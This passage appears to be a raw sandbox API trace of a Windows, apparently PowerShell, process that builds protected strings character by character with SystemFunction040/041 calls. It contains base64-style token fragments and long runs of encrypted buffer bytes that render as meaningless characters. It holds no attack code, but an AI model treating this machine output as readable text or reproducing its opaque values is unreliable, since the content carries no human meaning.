(param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5m4zAbF퇊") returned 0x28 [0254.380] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.380] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ〕跏綦慛猍\䫛혯⋥) returned 0x28 [0254.380] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ〕跏綦慛猍\䫛혯⋥) returned 0x28 [0254.380] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.380] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5m4zAbFj") returned 0x28 [0254.380] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.380] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚") returned 0x28 [0254.380] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚") returned 0x28 [0254.380] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚") returned 0x28 [0254.381] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚") returned 0x30 [0254.381] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0254.381] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5m4zAbFjM긺肫ꖻ랮㒖덂襡") returned 0x30 [0254.381] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0254.381] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚焬댦Ꝁ뒷\䋜䬺혋⊙) returned 0x30 [0254.381] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚焬댦Ꝁ뒷\䋜䬺혋⊙) returned 0x30 [0254.381] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0254.382] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5m4zAbFjM+肫ꖻ랮㒖덂襡") returned 0x30 [0254.382] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0254.382] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚碁⮷ᐌ醠ꎍ敦䎨ﶢ") returned 0x30 [0254.382] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚碁⮷ᐌ醠ꎍ敦䎨ﶢ") returned 0x30 [0254.382] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0254.382] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5m4zAbFjM+wꖻ랮㒖덂襡") returned 0x30 [0254.382] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0254.382] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚䜴听囿ᴩ頭ⲙ᭺뀷") returned 0x30 [0254.382] SysStringLen (param_1="慄贰脋侉셠､觛썳煯펄ꖱ斘朏튰꼔商睈䐿௢茂犒뫴튇앩莍鉲ᳱ裵隯ή㱁苩쀱䑚䜴听囿ᴩ頭ⲙ᭺뀷") returned 0x30 [0254.382] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0254.382] SysStringLen (param_1="Dr8/5ODdgrk57ZGAN6azgrR60EohqwM+5m4zAbFjM+w=랮㒖덂襡") returned 0x30 [0254.382] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0254.382] EtwEventActivityIdControl () returned 0x0 [0254.383] EtwEventActivityIdControl () returned 0x0 [0254.383] EtwEventActivityIdControl () returned 0x0 [0254.383] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.383] EtwEventActivityIdControl () returned 0x0 [0254.383] EtwEventActivityIdControl () returned 0x0 [0254.384] EtwEventActivityIdControl () returned 0x0 [0254.384] SysStringLen (param_1="") returned 0x8 [0254.384] SysStringLen (param_1="N") returned 0x8 [0254.384] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.384] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0254.384] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0254.384] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.385] SysStringLen (param_1="ND") returned 0x8 [0254.385] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.385] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0254.385] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0254.385] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.385] SysStringLen (param_1="NDZ") returned 0x8 [0254.385] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.385] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0254.385] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0254.385] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.385] SysStringLen (param_1="NDZl") returned 0x8 [0254.385] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.385] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0254.386] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0254.386] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.386] SysStringLen (param_1="NDZlO") returned 0x8 [0254.386] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.386] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0254.386] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0254.386] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.386] SysStringLen (param_1="NDZlOD") returned 0x8 [0254.386] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.386] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0254.386] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0254.386] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.386] SysStringLen (param_1="NDZlODR") returned 0x8 [0254.386] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.387] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0254.387] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0254.387] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.387] SysStringLen (param_1="NDZlODRm") returned 0x8 [0254.387] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.387] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.387] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.387] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.388] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0254.388] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.388] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0254.388] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.388] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0254.388] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0254.388] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.388] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0254.388] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.389] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0254.389] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0254.389] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.389] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0254.389] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.389] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0254.389] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0254.389] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.389] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0254.389] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.389] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0254.389] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0254.389] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.389] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0254.389] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.390] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0254.390] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0254.390] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.390] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0254.390] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.390] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0254.390] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0254.390] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.390] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0254.390] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.390] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0254.390] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0254.390] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.391] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0254.391] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.391] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.391] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.391] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.391] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0254.391] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.392] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0254.392] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.392] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0254.392] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0254.392] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.392] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0254.392] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.392] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0254.392] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0254.392] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.392] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0254.392] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.392] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0254.393] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0254.393] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.393] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0254.393] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.393] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0254.393] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0254.393] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.393] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0254.393] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.393] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0254.393] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0254.393] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.393] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0254.393] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.394] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0254.394] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0254.394] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.394] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0254.394] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.394] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0254.394] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0254.394] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.394] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0254.394] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.394] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0254.395] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.395] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0254.395] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0254.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0254.395] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.396] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0254.396] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0254.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0254.396] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.396] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0254.396] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0254.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0254.396] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.396] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0254.396] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0254.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0254.396] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.397] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0254.397] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.397] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0254.397] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0254.397] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.397] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0254.397] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.397] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0254.397] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0254.397] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.397] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0254.397] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0254.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0254.398] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.398] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0254.398] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0254.398] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.399] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0254.399] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0254.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0254.399] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.399] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0254.399] SystemFunction040 (in: 